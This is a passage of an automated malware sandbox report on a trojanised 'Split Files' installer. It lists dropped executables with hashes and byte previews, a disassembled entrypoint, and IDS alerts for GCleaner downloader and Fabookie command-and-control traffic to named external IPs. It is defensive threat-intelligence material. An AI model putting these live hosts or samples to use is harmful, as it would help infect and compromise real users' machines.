Preview:	[Interface]....MFile->Caption = '&Archivo'..MExit->Caption = 'Salir'..MOptions->Caption = 'Options'..MSettings->Caption = 'Herramientas'..MLanguage->Caption = 'Elegir idioma'..MLangArabic->Caption = 'Arabe'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Holand.s'..MLangEnglish->Caption = 'Ingl.s'..MLangFrench->Caption = 'Franc.s'..MLangItalian->Caption = 'Italiano'..MLangRussian->Caption = 'Ruso'..MLangSpanish->Caption = 'Espa.ol'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Ayuda'..MAbout->Caption = 'Sobre programa'....TabSheetSplit->Caption = 'SEPARAR'..TabSheetCombine->Caption = 'JUNTAR'....GroupBoxCombine->Caption = ' Drag and drop una de las partes para juntar en la celda 'Primera Parte' o navegar '..LabelFirstFile->Caption = 'Primera Parte:'..LabelOutput->Caption = 'Nombre Archivo salida:'..LabelCombineFolder->Caption = 'Carpeta salida:'..LabelSplitFolder->Caption = 'Carpeta salida:'..ButtonCombine->Caption = 'JUNTAR'..ButtonStopCombine->Caption = 'PARAR'....

C:\Program Files (x86)\Split Files\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	InnoSetup Log Split Files, version 0x30, 4866 bytes, 414408\user, "C:\Program Files (x86)\Split Files"
Category:	dropped
Size (bytes):	4866
Entropy (8bit):	4.7415446134648915
Encrypted:	false
SSDEEP:	96:92wWbD8np1Ayx6QoINFhqwOIhHs7ICSss/LSJh5:92wWbD8npKYbvLEIhCICSsAK7
MD5:	A0ABCD32B808D87AB70DEBFEAB943109
SHA1:	DC139906C9B0ADDC8EB86E81EB4F6801989FD6D2
SHA-256:	DCA87D67E6D6DE812AE1371E1D0FD5EE99BEB6000CC7BCEFE7A904306757BB9E
SHA-512:	CF7F6F818488653E468DE80550E3ABA95B39617E8616C337ED68F905256F7C61613D4348AA55369FB1FE65BE5CAE847207E393272B34FA5574DD9C6B3D17EA4D
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Split Files.....................................................................................................................Split Files.....................................................................................................................0...........%.................................................................................................................`..................F....414408.user"C:\Program Files (x86)\Split Files.............-.... ..........X.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.GetSy

C:\Program Files (x86)\Split Files\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	829726
Entropy (8bit):	6.385004526809536
Encrypted:	false
SSDEEP:	24576:zN/ac4cUrPN37qzHxA6odmL+tNE70tm8ffINgXEx982:zNSjrPN37qzHxA6odRkymJNVT
MD5:	72466399CE62027E57E8EA332EC2BE1B
SHA1:	5D91A70C78DB393947AFCACB35A5D82A78A2E9DC
SHA-256:	C6D9AFBD0C6A415D38F71573FD9B214C927538F53896E0DA3FFE830A991D4485
SHA-512:	2E5ACB1EE57AC29277E8443CDBF94A6938AF9358999FAB2BB7FC91EC5CDD3601E7997650474529ED9D0D43BCA3B6EA1D26009C603BAA89A176B0CCFE8E796AAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................`...........k.......p....@..............................................@...............................%..................................................................................................................CODE....,^.......`.................. ..`DATA.........p.......d..............@...BSS..................v...................idata...%.......&...v..............@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P.....................h..............@..P........................................................................................................................................

C:\Program Files (x86)\Split Files\webpage.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.altarsoft.com/split_files.shtml>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	5.12302231676258
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S4UEtSNM5LTJOBCBuQpQQXXy:HRYFVm/r4UEtSeVTJuZQplHy
MD5:	DCD6923B008121BFF4C7C0AA1206286E
SHA1:	AD4EF16A96A80C8EA5DBC5933229580BC6C332E0
SHA-256:	E1E01BFA5E2B5A117A627F7E9E861CF63D852A66BCE0DF88094D59CAF61E4376
SHA-512:	EC4A399EB38A1FA64DF8990708168F134ACD0CA793930E57C6D3A260A537B20DFD9F8B7232987F32EC1C1A7CEC7EC91F15A644A63D275104D96588FC3D354B5C
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.altarsoft.com/split_files.shtml..Modified=500425EA770BCC01B2..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\ping[1].htm

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.1751231351134614
Encrypted:	false
SSDEEP:	3:nCmxEl:Cmc
MD5:	064DB2A4C3D31A4DC6AA2538F3FE7377
SHA1:	8F877AE1873C88076D854425221E352CA4178DFA
SHA-256:	0A3EC2C4FC062D561F0DC989C6699E06FFF850BBDA7923F14F26135EF42107C0
SHA-512:	CA94BC1338FC283C3E5C427065C29BA32C5A12170782E18AA0292722826C5CB4C3B29A5134464FFEB67A77CD85D8E15715C17A049B7AD4E2C890E97385751BEE
Malicious:	false
Preview:	UwUoooIIrwgh24uuU

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\fuckingdllENCR[1].dll

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	data
Category:	dropped
Size (bytes):	94224
Entropy (8bit):	7.998072640845361
Encrypted:	true
SSDEEP:	1536:NsbI9W6dHdtnEXOxZpPzIUcETzNtXofjmgGTeJduLLt+YBPoJTMRmNXg30:KWW6TZVz9PNtXo8M5OR0
MD5:	418619EA97671304AF80EC60F5A50B62
SHA1:	F11DCD709BDE2FC86EBBCCD66E1CE68A8A3F9CB6
SHA-256:	EB7ECE66C14849064F462DF4987D6D59073D812C44D81568429614581106E0F4
SHA-512:	F2E1AE47B5B0A5D3DD22DD6339E15FEE3D7F04EF03917AE2A7686E73E9F06FB95C8008038C018939BB9925F395D765C9690BF7874DC5E90BC2F77C1E730D3A00
Malicious:	false
Preview:	...mi...};...F".).T..'K;....O.Y0:.....3j.\.Ij.2R.P....C...q.\|.2.....iR2W.F.C=MU......H6...A.....@..O.c...M.x8...L..- ..b..\|.C...Z}.w...l.a.aT...br,...6w#.j.P.li.=......o.......S.{..R........5....#;....-....b+..G(.>..Q.....iN{.+y...ZC.z3sE...T..2.J...3.9U.4&..P......."wI.....@....x%>..D..'z.^....^(.....NC.[[k..........V]G..)e.....`.......K/L.Ul..F.."..8$.Ad....:i.g..0.d...[...T"l.U.M.=.0...,..,.ku.W,.....7`Q.Fi=w...u..:..Q-.R.}0...L.....n...t.nv.....z....e..I.C.....9.V.~1+[]..7...xQ........$.L..o.eQ./.b..Z......p].;i)...#.b...%1........@...G..[......./.c.Z......G.:..n..E.i.O..o.U.B.Px....1{,a.....#k.dj..L4...}.d<......Iyy.J..f.W..,^vV.Ao.K."+OX8!F...YP...u.-..Bik.[.u...&Wt..P...m....^ ..k~.....l..o.zMV.!s..h...{.n2;z...K..?S..-...eW...c.....-V.bg..9.I..g.x.g...}.'.5..(P...J#..:.IS..D}.v......jK9.LQF...oOhV...).h.v^-..F...<.....Vh.1....!...!...BYc..C?..D2.....2.K(..6....B....D..ay..=\|....'....[1.~.YB:./...A`...=..F..K...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\count[1].htm

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\library[1].htm

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\library[1].htm

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	819200
Entropy (8bit):	6.374588464353269
Encrypted:	false
SSDEEP:	24576:7N/ac4cUrPN37qzHxA6odmL+tNE70tm8ffINgXEx98U:7NSjrPN37qzHxA6odRkymJNVd
MD5:	7013A53C5472267941844ED17DE4DE3C
SHA1:	DDA886AA81995DA2ABB763969BBA86E82988DB1A
SHA-256:	9897AED9DA44B8A3C7D7CDEAC2FDF2281BCD024846C77D45BC84B973ABDDC81E
SHA-512:	6B1E8845FFEDA2A775370A89AAF7E7477CD6264DF15DA3CC7E412C282E0CCFB3719D6B08FC65190E61EC9674F5F527D939D9CD50FF9F29AF37A049D04596060D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................`...........k.......p....@..............................................@...............................%..................................................................................................................CODE....,^.......`.................. ..`DATA.........p.......d..............@...BSS..................v...................idata...%.......&...v..............@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P.....................h..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe

Download File

Process:	C:\Program Files (x86)\Split Files\HitFiles134.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.20389308045717
Encrypted:	false
SSDEEP:	1536:bvUpDLxyxA14o3/M238r6+XfHAgbqmE8MpKdwuasZLUM7DsWlXcdyZgfmi:WDLZKa/MtXfHAgbqmEtxsfmyZgfmi
MD5:	3FB36CB0B7172E5298D2992D42984D06
SHA1:	439827777DF4A337CBB9FA4A4640D0D3FA1738B7
SHA-256:	27AE813CEFF8AA56E9FA68C8E50BB1C6C4A01636015EAC4BD8BF444AFB7020D6
SHA-512:	6B39CB32D77200209A25080AC92BC71B1F468E2946B651023793F3585EE6034ADC70924DBD751CF4A51B5E71377854F1AB43C2DD287D4837E7B544FF886F470C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................................................................9...........Rich............................PE..L....,?c.....................~......_.............@..........................`............@.....................................(....@.......................P..........8...............................@............................................text............................... ..`.rdata..dY.......Z..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.92977873472751
TrID:	Win32 Executable (generic) a (10002005/4) 98.86% Inno Setup installer (109748/4) 1.08% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	file.exe
File size:	1918587
MD5:	bc7001afd99293bf22adcdf0d30c564a
SHA1:	b6f97de078d7a18837811c9773d9cd817eeacaed
SHA256:	dcb609a85203e7b8da330ad8f658a9b03a5d65170d02995fa6bf4d6e39c33b2a
SHA512:	5aba106243fb480200ea3cc56356fd6b29241b943d6d6d6c2cee10547a3ba5c9cea3f26f17891f71eb831fa12989097d39f10da3e0200ac9e6115b774bbd7566
SSDEEP:	49152:y2+yG4BrZ5p7ybafDW69Fdh5Hciwlem+aXI/m/WahOVLH:jJGo5p7EkCSFrCiwAdaH/JhOVLH
TLSH:	F89511905C6F17A2FCC0FEF03A5B82C956322E1BB4F13D16BF99AA9C46771939901E41
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	98ccf6dc84f47c00

Static PE Info

General

Entrypoint:	0x409b60
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E1C [Fri Jun 19 22:22:20 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	884310b1928934402ea6fec1dbd3cf5e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-24h], eax
call 00007F8CCC96A2CBh
call 00007F8CCC96B4D2h
call 00007F8CCC96D6FDh
call 00007F8CCC96D744h
call 00007F8CCC970073h
call 00007F8CCC9701DAh
xor eax, eax
push ebp
push 0040A217h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 0040A1E0h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0040C014h]
call 00007F8CCC970C00h
call 00007F8CCC970767h
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007F8CCC96DD2Dh
mov edx, dword ptr [ebp-10h]
mov eax, 0040CDE8h
call 00007F8CCC96A37Ch
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040CDE8h]
mov dl, 01h
mov eax, 004072ECh
call 00007F8CCC96E5BCh
mov dword ptr [0040CDECh], eax
xor edx, edx
push ebp
push 0040A198h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F8CCC970C70h
mov dword ptr [0040CDF4h], eax
mov eax, dword ptr [0040CDF4h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F8CCC970DAAh
mov eax, dword ptr [0040CDF4h]
mov edx, 00000028h
call 00007F8CCC96E9BDh
mov edx, dword ptr [0040CDF4h]
cmp eax, dword ptr [edx+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x950	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x1d16c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0x0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9280	0x9400	False	0.6105099239864865	data	6.538927519566751	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xb000	0x24c	0x400	False	0.30859375	data	2.739865898313739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xc000	0xe4c	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x950	0xa00	False	0.414453125	data	4.430733069799036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf000	0x18	0x200	False	0.052734375	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x10000	0x8b0	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x11000	0x1d16c	0x1d200	False	0.24601830740343347	data	4.60805412433192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x11450	0x46a	Device independent bitmap graphic, 45 x 8 x 24, image size 0, resolution 2834 x 2834 px/m	Chinese	China
RT_ICON	0x118bc	0x24d7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x13d94	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States
RT_ICON	0x245bc	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States
RT_ICON	0x287e4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States
RT_ICON	0x2ad8c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States
RT_ICON	0x2be34	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States
RT_ICON	0x2c7bc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States
RT_STRING	0x2cc24	0x2f2	data
RT_STRING	0x2cf18	0x30c	data
RT_STRING	0x2d224	0x2ce	data
RT_STRING	0x2d4f4	0x68	data
RT_STRING	0x2d55c	0xb4	data
RT_STRING	0x2d610	0xae	data
RT_RCDATA	0x2d6c0	0x2c	data
RT_GROUP_ICON	0x2d6ec	0x68	data	English	United States
RT_VERSION	0x2d754	0x4b8	COM executable for DOS	English	United States
RT_MANIFEST	0x2dc0c	0x560	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.7107.182.129.23549713802852980 01/08/23-16:11:53.367556	TCP	2852980	ETPRO TROJAN Win32/Fabookie.ek CnC Request M1 (GET)	49713	80	192.168.2.7	107.182.129.235
192.168.2.7107.182.129.23549713802852981 01/08/23-16:11:53.444812	TCP	2852981	ETPRO TROJAN Win32/Fabookie.ek CnC Request M3 (GET)	49713	80	192.168.2.7	107.182.129.235
192.168.2.745.139.105.17149712802041920 01/08/23-16:11:53.219578	TCP	2041920	ET TROJAN GCleaner Downloader Activity M8	49712	80	192.168.2.7	45.139.105.171
107.182.129.235192.168.2.780497132852925 01/08/23-16:11:53.472106	TCP	2852925	ETPRO TROJAN GCleaner Downloader - Payload Response	80	49713	107.182.129.235	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2023 16:11:53.191418886 CET	49712	80	192.168.2.7	45.139.105.171
Jan 8, 2023 16:11:53.218492985 CET	80	49712	45.139.105.171	192.168.2.7
Jan 8, 2023 16:11:53.218791962 CET	49712	80	192.168.2.7	45.139.105.171
Jan 8, 2023 16:11:53.219578028 CET	49712	80	192.168.2.7	45.139.105.171
Jan 8, 2023 16:11:53.246977091 CET	80	49712	45.139.105.171	192.168.2.7
Jan 8, 2023 16:11:53.251513004 CET	80	49712	45.139.105.171	192.168.2.7
Jan 8, 2023 16:11:53.251673937 CET	49712	80	192.168.2.7	45.139.105.171
Jan 8, 2023 16:11:53.338839054 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.366535902 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.366803885 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.367556095 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.394515038 CET	80	49713	107.182.129.235	192.168.2.7
